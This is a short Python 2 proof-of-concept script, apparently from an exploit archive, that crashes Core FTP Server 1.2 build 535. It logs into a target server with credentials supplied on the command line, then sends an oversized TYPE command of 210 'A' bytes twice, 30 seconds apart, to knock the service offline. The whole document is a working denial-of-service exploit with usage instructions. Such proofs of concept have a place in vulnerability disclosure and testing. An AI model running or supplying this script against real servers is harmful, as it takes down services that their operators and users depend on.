Core FTP Server Version 1.2, build 535, 32-bit - Crash P.O.C.

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#!/usr/bin/python

 

import socket,sys,time

 

def Usage():

        print ("Core FTP Server Version 1.2, build 535, 32-bit - Crash P.O.C.")

        print ("Usage: ./coreftp_dos.py <host> <port> <username> <password>")

        print ("Ex:    ./coreftp_dos.py 192.168.10.10 21 ftp ftp\n")

 

if len(sys.argv) <> 5:

        Usage()

        sys.exit(1)

else:

        host=sys.argv[1]

        port=sys.argv[2]

        user=sys.argv[3]

        passwd=sys.argv[4]

        evil = '\x41' * 210

        print "[+] Trying to crash Core FTP server with " + str(len(evil)) + " buffer bytes"

        print "[+] Host: " + host + " Port: " + port + " User: " + user + " Pass: " + passwd

        print "[+] Attempting to connect to the remote Core FTP Server..."

        first = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        port=int(port)

        try:

                connect = first.connect((host, port))

        except:

                print "[-] There was an error while trying to connect to the remote FTP Server"

                sys.exit(1)

        print "[+] Connection to remote server successfully... now trying to authenticate"

        first.recv(1024)

        first.send('USER ' + user + '\r\n')

        first.recv(1024)

        first.send('PASS ' + passwd + '\r\n')

        first.recv(1024)

        first.send('dir\r\n');

        first.send('TYPE ' + evil + '\r\n')

        try:

                first.recv(1024)

        except:

                print "[-] Couldn\'t authenticate in the remote FTP server"

                sys.exit(1)

        print "[+] First buffer was sent, waiting 30 seconds to send a second time with some more bad data..."

        first.close()

        second = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        time.sleep(30)

        try:

                connect = second.connect((host, port))

        except:

                print "[-] FTP Server isn\'t responding... it might had successfully crashed."

                sys.exit(1)

        second.send('USER ' + user + '\r\n')

        second.recv(1024)

        second.send('PASS ' + passwd + '\r\n')

        second.recv(1024)

        second.send('TYPE ' + evil + '\r\n')

        second.recv(1024)

        print "[+] By now, Core FTP Server should had crashed and will not accept new connections."

        second.close()

        sys.exit(0)